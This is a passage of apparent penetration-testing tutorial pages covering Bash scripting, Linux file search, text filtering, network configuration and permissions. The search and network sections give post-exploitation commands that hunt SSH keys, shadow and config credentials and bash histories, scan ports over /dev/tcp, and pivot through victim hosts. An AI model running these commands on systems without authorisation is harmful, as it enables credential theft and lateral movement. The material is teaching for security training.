fi
}
given_args
echo -e "Function status code: $?\n"
given_args "argument"
echo -e "Function status code: $?\n"
content=$(given_args "argument")
echo -e "Content of the variable: \n\t$content"
```
## Flow Control - Loops
Loops repeat work until input is exhausted or a condition changes.
* `for` loops iterate over items.
* `while` loops run while a condition is true.
* `until` loops run while a condition is false.
### For Loops
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
for variable in 1 2 3 4
do
echo $variable
done
```
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
for variable in file1 file2 file3
do
echo $variable
done
```
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
for ip in 10.10.10.170 10.10.10.174
do
ping -c 1 $ip
done
```
One-line form:
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ for ip in 10.10.10.170 10.10.10.174;do ping -c 1 $ip;done
```
### While Loops
`while` loops need a counter or changing condition so they do not run forever.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
stat=1
while [ $stat -eq 1 ]
do
ping -c 2 $host > /dev/null 2>&1
if [ $? -eq 0 ]
then
echo "$host is up."
((stat--))
((hosts_up++))
((hosts_total++))
else
echo "$host is down."
((stat--))
((hosts_total++))
fi
done
```
`continue` skips to the next iteration and `break` exits the loop.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
#!/bin/bash
counter=0
while [ $counter -lt 10 ]
do
((counter++))
echo "Counter: $counter"
if [ $counter == 2 ]
then
continue
elif [ $counter == 4 ]
then
break
fi
done
```
### Until Loops
`until` is the inverse of `while`: it runs until the condition becomes true.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
#!/bin/bash
counter=0
until [ $counter -eq 10 ]
do
((counter++))
echo "Counter: $counter"
done
```
## Comparison Operators
Bash operators are usually grouped into string, integer, file, and logical
checks.
### String Operators
| Operator | Description |
| -------- | ------------------------------ |
| `==` | is equal to |
| `!=` | is not equal to |
| `<` | is less than in ASCII order |
| `>` | is greater than in ASCII order |
| `-z` | string is empty |
| `-n` | string is not empty |
Quote strings like `"$1"` to avoid parsing issues.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
if [ "$1" != "HackTheBox" ]
then
echo -e "You need to give 'HackTheBox' as argument."
exit 1
elif [ $# -gt 1 ]
then
echo -e "Too many arguments given."
exit 1
else
echo -e "Success!"
fi
```
`<` and `>` string comparisons work inside `[[ ... ]]`.
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ man ascii
```
### Integer Operators
| Operator | Description |
| -------- | --------------------------- |
| `-eq` | is equal to |
| `-ne` | is not equal to |
| `-lt` | is less than |
| `-le` | is less than or equal to |
| `-gt` | is greater than |
| `-ge` | is greater than or equal to |
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
if [ $# -lt 1 ]
then
echo -e "Number of given arguments is less than 1"
exit 1
elif [ $# -gt 1 ]
then
echo -e "Number of given arguments is greater than 1"
exit 1
else
echo -e "Number of given arguments equals 1"
fi
```
### File Operators
| Operator | Description |
| -------- | -------------------------- |
| `-e` | file exists |
| `-f` | regular file |
| `-d` | directory |
| `-L` | symbolic link |
| `-N` | modified since last read |
| `-O` | owned by current user |
| `-G` | group matches current user |
| `-s` | size greater than 0 |
| `-r` | readable |
| `-w` | writable |
| `-x` | executable |
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
if [ -e "$1" ]
then
echo -e "The file exists."
exit 0
else
echo -e "The file does not exist."
exit 2
fi
```
### Boolean and Logical Operators
Use `[[ ... ]]` for boolean-style checks.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
if [[ -z $1 ]]
then
echo -e "Boolean value: True (is null)"
exit 1
elif [[ $# > 1 ]]
then
echo -e "Boolean value: True (is greater than)"
exit 1
else
echo -e "Boolean value: False (is equal to)"
fi
```
| Operator | Description |
| -------- | ----------- |
| `!` | logical NOT |
| `&&` | logical AND |
| `\|\|` | logical OR |
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
if [[ -e "$1" && -r "$1" ]]
then
echo -e "We can read the file that has been specified."
exit 0
elif [[ ! -e "$1" ]]
then
echo -e "The specified file does not exist."
exit 2
elif [[ -e "$1" && ! -r "$1" ]]
then
echo -e "We don't have read permission for this file."
exit 1
else
echo -e "Error occurred."
exit 5
fi
```
## Debugging
Bash debugging is usually done with `-x` and `-v`.
* `bash -x script.sh` shows each command as it executes.
* `bash -x -v script.sh` also shows the code as Bash reads it.
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ bash -x CIDR.sh
+ '[' 0 -eq 0 ']'
+ echo -e 'You need to specify the target domain.\n'
You need to specify the target domain.
```
```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Dudji@htb[/htb]$ bash -x -v CIDR.sh
#!/bin/bash
if [ $# -eq 0 ]
then
echo -e "You need to specify the target domain.\n"
exit 1
fi
```
# Linux Enumeration Checklist
Source: https://hackbook.dudji.com/tech/linux/checklist
Step-by-step checklist for every Linux box — from initial shell to full pillage.
**Phase 1** covers what to do the moment you get a shell. **Phase 2** covers
what to do once you have root or elevated access.
# Filesystem navigation
Source: https://hackbook.dudji.com/tech/linux/filesystem-navigation
## The Mindset
The Linux filesystem is enormous. Manually browsing through directories looking for something interesting is a waste of time. Instead, you use tools that let you search with **surgical precision** — by name, by type, by owner, by size, by date, by permission.
This skill is critical in two scenarios:
* **Post-exploitation enumeration** — finding credentials, configs, and sensitive data after landing on a box
* **Privilege escalation** — finding SUID binaries, writable scripts, and misconfigured files
***
## Know Where to Look First
Before running any search, know the Linux filesystem layout. These directories are your hunting grounds:
| Path | What You'll Find There |
| ----------------------- | ------------------------------------------------------- |
| `/etc` | Config files — credentials, service settings, usernames |
| `/home/*` | User files — SSH keys, bash history, scripts, notes |
| `/root` | Root's home — only accessible with root or SUID abuse |
| `/var/log` | Logs — cleartext credentials, activity trails |
| `/var/www` | Web app files — database credentials in config files |
| `/tmp` & `/dev/shm` | Writable by everyone — good for dropping payloads |
| `/opt` | Third-party software — often misconfigured or forgotten |
| `/proc` | Running process info — environment variables, cmdlines |
| `/backup` or `/backups` | Backups — sometimes contain old credentials or configs |
***
## `which` — Is This Tool Available?
Before running anything, check what's installed. Knowing whether Python, netcat, wget, or curl are available changes your options.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
which python3
# /usr/bin/python3
which nc
# /usr/bin/nc
which wget curl gcc
# /usr/bin/wget
# /usr/bin/curl
# (no output = not installed)
```
If a program isn't found, `which` returns nothing. No output = not on the PATH.
***
## `find` — The Surgical Search Tool
`find` is the most powerful file search tool on Linux. It searches in real-time and supports a huge range of filters. Slower than `locate`, but always accurate and extremely flexible.
### Syntax
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
find
```
### Core Options
| Option | What It Does |
| --------------------- | ---------------------------------------- |
| `-type f` | Files only |
| `-type d` | Directories only |
| `-name "*.conf"` | Match by name/extension (case-sensitive) |
| `-iname "*.conf"` | Match by name (case-insensitive) |
| `-user root` | Files owned by a specific user |
| `-group sudo` | Files owned by a specific group |
| `-size +20k` | Files larger than 20KB |
| `-size -1M` | Files smaller than 1MB |
| `-perm -4000` | SUID bit set |
| `-perm -2000` | SGID bit set |
| `-perm -o+w` | World-writable files |
| `-newermt 2024-01-01` | Modified after a specific date |
| `-exec {} \;` | Run a command on each result |
| `2>/dev/null` | Suppress permission denied errors |
### Practical Examples
**Find all config files owned by root, larger than 20KB, modified after 2020:**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
find / -type f -name "*.conf" -user root -size +20k -newermt 2020-01-01 -exec ls -al {} \; 2>/dev/null
```
**Find all SUID binaries — check each one against GTFOBins:**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
find / -perm -4000 -type f 2>/dev/null
```
**Find world-writable files (potential hijack targets):**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
find / -perm -o+w -type f 2>/dev/null
```
**Find all files owned by a specific user:**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
find / -user cry0l1t3 -type f 2>/dev/null
```
**Hunt for credential files by name:**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
find / -type f \( -name "*.conf" -o -name "*.config" -o -name "*.ini" -o -name "*.env" -o -name "id_rsa" \) 2>/dev/null
```
**Find recently modified files (last 10 minutes — useful after running an exploit):**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
find / -type f -mmin -10 2>/dev/null
```
Always append `2>/dev/null` to `find` commands. Without it, the terminal floods with "Permission denied" errors that bury your real results.
***
## `locate` — The Fast Search Tool
`locate` uses a pre-built database to search instantly across the entire filesystem. Much faster than `find`, but the database may be outdated — it won't show files created since the last `updatedb` run.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Update the database first (requires root)
sudo updatedb
# Find all .conf files
locate *.conf
# Find SSH private keys
locate id_rsa
# Find password files
locate password
```
**When to use `locate` vs `find`:**
| Situation | Use |
| ----------------------------------------------- | -------- |
| Quick name-based search across the whole system | `locate` |
| Need accurate, real-time results | `find` |
| Filtering by permissions, owner, size, date | `find` |
| Searching for recently created files | `find` |
***
## `tree` — Visualize Directory Structure
When you need to understand how a directory is organized at a glance:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Full tree of current directory
tree .
# Limit depth
tree -L 2 /var/www
# Show hidden files
tree -a /home/user
```
***
## High-Value Targets Cheatsheet
These are the files and locations that most often yield credentials, keys, or privesc paths:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# SSH private keys
find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null
# Bash history (commands run by users — often contains passwords)
cat ~/.bash_history
find /home -name ".bash_history" 2>/dev/null
cat /root/.bash_history 2>/dev/null
# Database credentials in web app configs
find /var/www -name "*.php" -exec grep -l "password\|passwd\|db_pass" {} \; 2>/dev/null
find / -name "wp-config.php" 2>/dev/null
find / -name "config.php" -o -name ".env" 2>/dev/null
# Cron jobs (scheduled tasks — look for writable scripts)
cat /etc/crontab
ls -la /etc/cron.*
crontab -l 2>/dev/null
# Readable shadow file?
cat /etc/shadow 2>/dev/null
# Any backup files containing credentials?
find / -name "*.bak" -o -name "*.backup" -o -name "*.old" 2>/dev/null
# World-writable directories (drop files, hijack scripts)
find / -type d -perm -o+w 2>/dev/null
```
`.bash_history` is underrated. Users frequently type passwords directly into
commands. Always check history files for every user you can access.
*Next: [Output Filtering & Text Processing](/tech/linux/filtering-text-processing) — parsing command output to extract exactly what you need.*
# Filtering text processing
Source: https://hackbook.dudji.com/tech/linux/filtering-text-processing
> Raw command output is noise. Your job is to extract the signal. Master these tools and you'll spend less time staring at walls of text and more time finding what matters.
***
## The Mindset
Linux tools follow the Unix philosophy: each command does one thing well, and you chain them together with pipes. The real power isn't in any single command — it's in **combining them**.
## File Descriptors & Redirection
Before filtering, understand how data flows in Linux. Every process has three standard streams:
| FD | Name | Description |
| --- | -------- | ------------------------ |
| `0` | `STDIN` | Input fed into a program |
| `1` | `STDOUT` | Normal output |
| `2` | `STDERR` | Error output |
Think of file descriptors like a ticket system — the OS uses the number to know which stream to interact with.
### Redirect Output
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Redirect STDOUT to a file (overwrites)
find /etc/ -name shadow > results.txt
# Append STDOUT to an existing file
find /etc/ -name passwd >> results.txt
# Redirect STDERR to /dev/null (silence errors)
find / -name "*.conf" 2>/dev/null
# Redirect STDOUT and STDERR to separate files
find /etc/ -name shadow 1>results.txt 2>errors.txt
# Redirect a file into a command as STDIN
cat < results.txt
```
### Pipes
Pipes (`|`) take the STDOUT of one command and feed it as STDIN to the next. This is how you build processing chains.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Find systemd config files, suppress errors, count results
find /etc/ -name "*.conf" 2>/dev/null | grep systemd | wc -l
```
`2>/dev/null` is your best friend. Add it to the end of almost every `find` or enumeration command to keep your output clean.
***
## Filtering & Searching
### `grep` — Pattern Matching
The most-used filtering tool. Searches for lines matching a pattern.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Find users with bash shell
cat /etc/passwd | grep "/bin/bash"
# Exclude lines matching a pattern (-v = invert)
cat /etc/passwd | grep -v "nologin\|false"
# Case-insensitive search
grep -i "password" config.php
# Recursive search through a directory
grep -r "password" /var/www/ 2>/dev/null
# Show line numbers
grep -n "root" /etc/passwd
# Show only the matching part (not the whole line)
grep -o "password=[^ ]*" config.txt
# Extended regex (use | for OR, + for one-or-more)
grep -E "(password|passwd|secret|key)" config.php
```
**Pentest one-liners with grep:**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Hunt for credentials in web configs
grep -r "password" /var/www/ 2>/dev/null
grep -r "DB_PASS\|db_password\|mysqli" /var/www/ 2>/dev/null
# Find cleartext passwords in logs
grep -i "password" /var/log/auth.log 2>/dev/null
# Search bash history for sensitive commands
grep -i "password\|sudo\|ssh\|curl\|wget" ~/.bash_history
```
***
## Transforming Output
### `cut` — Extract Specific Fields
Splits lines by a delimiter and picks the columns you want.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Extract just usernames from /etc/passwd (field 1, delimiter :)
cat /etc/passwd | grep -v "nologin\|false" | cut -d":" -f1
# root
# sync
# cry0l1t3
# htb-student
# Extract username AND shell (fields 1 and 7)
cut -d":" -f1,7 /etc/passwd
```
### `tr` — Translate / Replace Characters
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Replace colons with spaces
cat /etc/passwd | tr ":" " "
# Before: root:x:0:0:root:/root:/bin/bash
# After: root x 0 0 root /root /bin/bash
# Convert lowercase to uppercase
echo "hello world" | tr "[:lower:]" "[:upper:]"
# HELLO WORLD
# Delete characters
echo "hello 123" | tr -d "[:digit:]"
# hello
# Replace newlines with spaces (useful for compressing multi-line output)
cat /etc/passwd | cut -d: -f1 | tr "\n" " "
# root daemon bin sys sync cry0l1t3 htb-student
```
### `column` — Align Output Into a Table
Makes messy output readable. Great after using `tr` to replace delimiters.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Without column -t
cat /etc/passwd | grep -v "nologin\|false" | tr ":" " "
# root x 0 0 root /root /bin/bash
# cry0l1t3 x 1001 1001 /home/cry0l1t3 /bin/bash
# htb-student x 1002 1002 /home/htb-student /bin/bash
# With column -t
cat /etc/passwd | grep -v "nologin\|false" | tr ":" " " | column -t
# root x 0 0 root /root /bin/bash
# cry0l1t3 x 1001 1001 /home/cry0l1t3 /bin/bash
# htb-student x 1002 1002 /home/htb-student /bin/bash
```
***
## Power Tools
### `awk` — Field-Based Processing
More powerful than `cut` — can print specific fields, do math, and filter simultaneously.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Print first and last field of each line
cat /etc/passwd | grep -v "nologin\|false" | tr ":" " " | awk '{print $1, $NF}'
# root /bin/bash
# cry0l1t3 /bin/bash
# htb-student /bin/bash
# Print lines where field 3 (UID) equals 0 (root-level accounts)
awk -F: '$3 == 0 {print $1}' /etc/passwd
```
### `sed` — Stream Editor (Find & Replace)
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Replace all occurrences of "bin" with "HTB"
cat /etc/passwd | sed 's/bin/HTB/g'
# Delete lines matching a pattern
sed '/nologin/d' /etc/passwd
# Print only lines matching a pattern
sed -n '/bash/p' /etc/passwd
```
***
## Regular Expressions (RegEx)
RegEx lets you define flexible search patterns instead of literal strings.
### Key Operators
| Operator | Description | Example |
| -------- | ---------------------------- | ----------------------------------- |
| `.` | Any single character | `p.ss` matches `pass`, `p4ss` |
| `*` | Zero or more of the previous | `ba*` matches `b`, `ba`, `baa` |
| `+` | One or more of the previous | `ba+` matches `ba`, `baa` |
| `?` | Zero or one of the previous | `colou?r` matches `color`, `colour` |
| `^` | Start of line | `^root` — lines starting with root |
| `$` | End of line | `bash$` — lines ending with bash |
| `[abc]` | Any character in the set | `[aeiou]` — any vowel |
| `[a-z]` | Character range | `[0-9]` — any digit |
| `(a\|b)` | OR — match a or b | `(bash\|sh)` |
| `{2,4}` | Repeat 2 to 4 times | `[0-9]{1,3}` |
### Examples with `grep -E`
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Lines containing "my" OR "false"
grep -E "(my|false)" /etc/passwd
# Lines containing BOTH "my" AND "false" (AND pattern)
grep -E "(my.*false)" /etc/passwd
# Find IP addresses in a log file
grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" /var/log/auth.log
# Lines that do NOT start with #
grep -v "^#" /etc/ssh/sshd_config
# Lines ending with "yes"
grep -E "yes$" /etc/ssh/sshd_config
```
***
## Quick Reference
| Tool | Primary Use | Key Flag |
| --------------- | ---------------------------- | ------------------------------------------------ |
| `grep` | Filter lines by pattern | `-v` invert, `-r` recursive, `-E` extended regex |
| `cut` | Extract fields by delimiter | `-d` delimiter, `-f` field number |
| `tr` | Replace or delete characters | `-d` delete |
| `awk` | Field processing and logic | `'{print $1, $NF}'` |
| `sed` | Find and replace in streams | `'s/old/new/g'` |
| `sort` | Sort output | `-n` numeric, `-r` reverse, `-u` unique |
| `wc` | Count results | `-l` lines |
| `column` | Format output as table | `-t` |
| `head` / `tail` | First or last N lines | `-n` number, `-f` follow |
| `less` | Page through output | `q` quit, `/` search |
***
*Next: [Permission Analysis](/tech/linux/permissions) — reading permission strings, finding SUID misconfigs, and understanding what sticky bits mean for exploitation.*
# Linux
Source: https://hackbook.dudji.com/tech/linux/index
Linux internals from an offensive security perspective.
Step-by-step enumeration and pillaging checklist for every Linux box.
Find users, services, kernel details, and the most likely privilege
escalation paths.
Accounts, groups, sudo rights, and user-based attack paths.
PAM, /etc/passwd, /etc/shadow, SSH keys, and sudo.
Read/write/execute, SUID/SGID, and permission misconfigurations.
Running processes, systemd services, cron, and service attack surface.
Interfaces, routing, pivot points, and reachable hosts.
Search the filesystem for credentials, configs, and sensitive data.
Disks, partitions, mount points, and device files.
Log sources, detection surface, and evidence you need to cover.
grep, awk, sed, cut, and shell pipelines for extracting the signal.
SELinux, AppArmor, patch posture, and hardening gaps.
Extract credentials, secrets, and sensitive data once you have access.
Variables, loops, functions, and practical automation patterns.
# Network configuration
Source: https://hackbook.dudji.com/tech/linux/network-configuration
## The Mindset
When you land on a box, the network answers three questions:
* **Where am I?** — Subnets, interfaces, routing — what segment of the network is this machine on?
* **What can I reach?** — Other hosts, internal services, domain controllers, databases
* **How do I move?** — Pivot routes, port forwards, dual-homed machines
A machine with two network interfaces is almost always a pivot point into a separate network segment.
***
## Network Interfaces
### `ip` — The Modern Tool
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Show all interfaces and IP addresses
ip addr
ip a # shorthand
# Show routing table
ip route
ip r
# Show ARP table (other hosts on the same subnet)
ip neigh
# Bring an interface up or down
sudo ip link set eth0 up
sudo ip link set eth0 down
```
### `ifconfig` — The Legacy Tool
Still widely available, useful to know:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
ifconfig
# eth0: flags=4163
# inet 10.10.10.5 netmask 255.255.255.0 broadcast 10.10.10.255
# inet6 fe80::...
# ether 00:50:56:b9:...
```
**What to look for:**
| Field | Pentest Relevance |
| ------------------- | --------------------------------------------------- |
| `inet` | IPv4 address and subnet |
| `inet6` | IPv6 — often forgotten, sometimes accessible |
| Multiple interfaces | Machine may bridge two networks — pivot opportunity |
### Spot a Dual-Homed Machine
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
ip addr | grep "inet " | grep -v "127.0.0.1"
# If you see two non-loopback IPs on different subnets:
# inet 10.10.10.5/24 ← network 1 (your entry point)
# inet 172.16.0.5/24 ← network 2 (new territory to explore)
```
A dual-homed machine means you can use it as a pivot to reach the second subnet.
***
## Routing
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# View routing table
ip route
route -n # legacy
# Example output:
# default via 10.10.10.1 dev eth0
# 10.10.10.0/24 dev eth0 proto kernel
# 172.16.0.0/24 dev eth1 proto kernel ← second network reachable
# Add a static route (for pivoting)
sudo ip route add 172.16.0.0/24 via 10.10.10.1
```
## Active Connections & Open Ports
### `ss` — Socket Statistics (Modern)
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# All listening ports
ss -tuln
# All connections with process names (needs root for full output)
ss -tulnp
# Established connections only
ss -tn state established
# Filter by port
ss -tuln | grep :3306 # MySQL
ss -tuln | grep :5432 # PostgreSQL
ss -tuln | grep :6379 # Redis
ss -tuln | grep :27017 # MongoDB
```
### `netstat` — Legacy But Universal
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# All listening ports
netstat -tuln
# With process names
netstat -tulnp
# All established connections
netstat -tn
# Routing table
netstat -rn
```
Services bound to `127.0.0.1` are invisible from outside but fully accessible
once you're on the box. Always check for internal-only listeners — they're
often the least hardened services on the system.
***
## DNS & Host Resolution
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# View DNS servers
cat /etc/resolv.conf
# View local host entries (may reveal internal hostnames)
cat /etc/hosts
# Resolve a hostname
nslookup internal-app.corp.local
dig internal-app.corp.local
# Reverse DNS lookup (IP → hostname)
dig -x 10.10.10.5
```
***
## Network Troubleshooting Tools
### `ping` — Host Reachability
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Basic connectivity test
ping -c 4 8.8.8.8
```
### `traceroute` — Path to a Host
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
traceroute 10.10.10.1
# Each hop = a router or gateway between you and the target
# Asterisks (*) = host not responding to ICMP — still exists
```
***
## Internal Network Discovery
Once you have a foothold, map what else is reachable:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# ARP table — hosts that recently communicated with this machine
ip neigh
arp -a
# Quick ping sweep of the local subnet
for i in $(seq 1 254); do
(ping -c 1 -W 1 10.10.10.$i > /dev/null 2>&1 && echo "10.10.10.$i is up") &
done; wait
# Port scan from the compromised host (if nmap is available)
nmap -sn 10.10.10.0/24
# If you have SSH access to the victim, scan the hidden network from your Kali instead
# Step 1 — open a SOCKS proxy through the victim (run on your Kali)
ssh -D 1080 user@10.10.10.1
# Step 2 — scan through the tunnel (run on your Kali in a new terminal)
# -sT = TCP connect scan, required because proxychains can't forward raw packets
proxychains nmap -sT 172.16.0.0/24
# TCP connect scan without nmap (bash)
for port in 22 80 443 445 3306 5432 8080; do
(echo >/dev/tcp/10.10.10.10/$port) 2>/dev/null && echo "Port $port open"
done
```
***
## Accessing Internal Services via Port Forwarding
When you find a service listening on localhost of the target, forward it to your machine:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Local port forward — access target's port 8080 on your localhost:9090
ssh -L 9090:127.0.0.1:8080 user@target
# Forward a port on an internal host through the pivot
ssh -L 9090:172.16.0.10:80 user@pivot
# Dynamic SOCKS proxy — route all traffic through the pivot
ssh -D 1080 user@pivot
# Then use proxychains: proxychains nmap -sT 172.16.0.0/24
```
***
## Network Access Control
Understanding what's in place helps you work around it or identify weaknesses:
| Mechanism | What It Does | Where to Look |
| -------------------------------- | ----------------------------- | ------------------------------------- |
| **Firewall (iptables/nftables)** | Filters traffic by port/IP | `iptables -L -n` |
| **TCP Wrappers** | Controls service access by IP | `/etc/hosts.allow`, `/etc/hosts.deny` |
| **SELinux / AppArmor** | Process-level access control | `sestatus`, `aa-status` |
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# View firewall rules
sudo iptables -L -n -v
sudo nft list ruleset
# TCP Wrappers config
cat /etc/hosts.allow
cat /etc/hosts.deny
# SELinux status
sestatus 2>/dev/null
# AppArmor status
aa-status 2>/dev/null
```
***
## Configuring Interfaces (When Needed)
Occasionally you'll need to configure a network interface — when setting up a pivot or a test environment:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Assign a static IP
sudo ip addr add 192.168.1.2/24 dev eth0
# Set default gateway
sudo ip route add default via 192.168.1.1
# Edit persistent config (Debian/Ubuntu)
sudo vim /etc/network/interfaces
# auto eth0
# iface eth0 inet static
# address 192.168.1.2
# netmask 255.255.255.0
# gateway 192.168.1.1
# dns-nameservers 8.8.8.8
# Restart networking
sudo systemctl restart networking
```
*Next: [Linux Pillaging](/tech/linux/pillaging) — with root privileges, extracting credentials, keys, configs, and sensitive data from every corner of the system.*
# Permissions
Source: https://hackbook.dudji.com/tech/linux/permissions
## The Mindset
As a pentester, you're looking for two things:
* **What can I access that I shouldn't?** — World-readable sensitive files, writable system scripts
* **What can I run as someone else?** — SUID/SGID binaries, sudo rights, writable cron scripts
***
## Reading Permission Strings
Run `ls -l` on any file and you'll see this:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
ls -l /etc/passwd
-rwxrw-r-- 1 root root 1641 May 4 23:42 /etc/passwd
```
Break it down character by character:
```
- rwx rw- r-- 1 root root 1641 /etc/passwd
│ │ │ │ │ │ │
│ │ │ │ │ │ └── Group owner
│ │ │ │ │ └──────── User owner
│ │ │ │ └───────────── Number of hard links
│ │ │ └────────────────── Others' permissions (r--)
│ │ └────────────────────── Group's permissions (rw-)
│ └────────────────────────── Owner's permissions (rwx)
└───────────────────────────── File type
```
### File Type (First Character)
| Symbol | Meaning |
| ------ | ---------------- |
| `-` | Regular file |
| `d` | Directory |
| `l` | Symbolic link |
| `c` | Character device |
| `b` | Block device |
| `s` | Socket |
| `p` | Named pipe |
### Permission Characters
| Symbol | On a File | On a Directory |
| ------ | ---------------------- | ----------------------------------- |
| `r` | Read the file contents | List directory contents |
| `w` | Modify the file | Create, delete, rename files inside |
| `x` | Execute the file | Traverse (enter) the directory |
| `-` | Permission not granted | Permission not granted |
Execute permission on a **directory** doesn't let you run anything — it lets
you `cd` into it. Without `x` on a directory, you can't access anything inside
even if you have `r`.
***
## Octal Notation
Permissions are also expressed as numbers. Each permission has a value:
| Permission | Binary | Octal Value |
| ------------- | ------ | ----------- |
| `r` (read) | 100 | 4 |
| `w` (write) | 010 | 2 |
| `x` (execute) | 001 | 1 |
| `-` (none) | 000 | 0 |
Add the values for each group (owner / group / others):
```
rwx = 4+2+1 = 7
rw- = 4+2+0 = 6
r-x = 4+0+1 = 5
r-- = 4+0+0 = 4
--- = 0+0+0 = 0
```
So `chmod 754` means:
```
7 = rwx (owner can read, write, execute)
5 = r-x (group can read and execute)
4 = r-- (others can only read)
```
## Changing Permissions
### `chmod` — Change File Mode
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Symbolic method
chmod u+x script.sh # Add execute for owner
chmod g-w file.txt # Remove write from group
chmod o+r file.txt # Add read for others
chmod a+r file.txt # Add read for all (u+g+o)
# Octal method
chmod 755 script.sh # rwxr-xr-x
chmod 600 id_rsa # rw------- (SSH key permissions)
chmod 644 config.txt # rw-r--r--
```
### `chown` — Change Ownership
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Change owner
chown root file.txt
# Change owner and group
chown root:root file.txt
# Recursive (entire directory)
chown -R www-data:www-data /var/www/html
```
***
## SUID & SGID — Privilege Escalation Gold
### What They Are
* **SUID (Set User ID)** — When set on an executable, it runs with the **file owner's** privileges, not the caller's. If root owns a SUID binary, anyone who runs it gets root-level execution.
* **SGID (Set Group ID)** — Same concept but for groups.
They appear as `s` in place of the execute bit:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
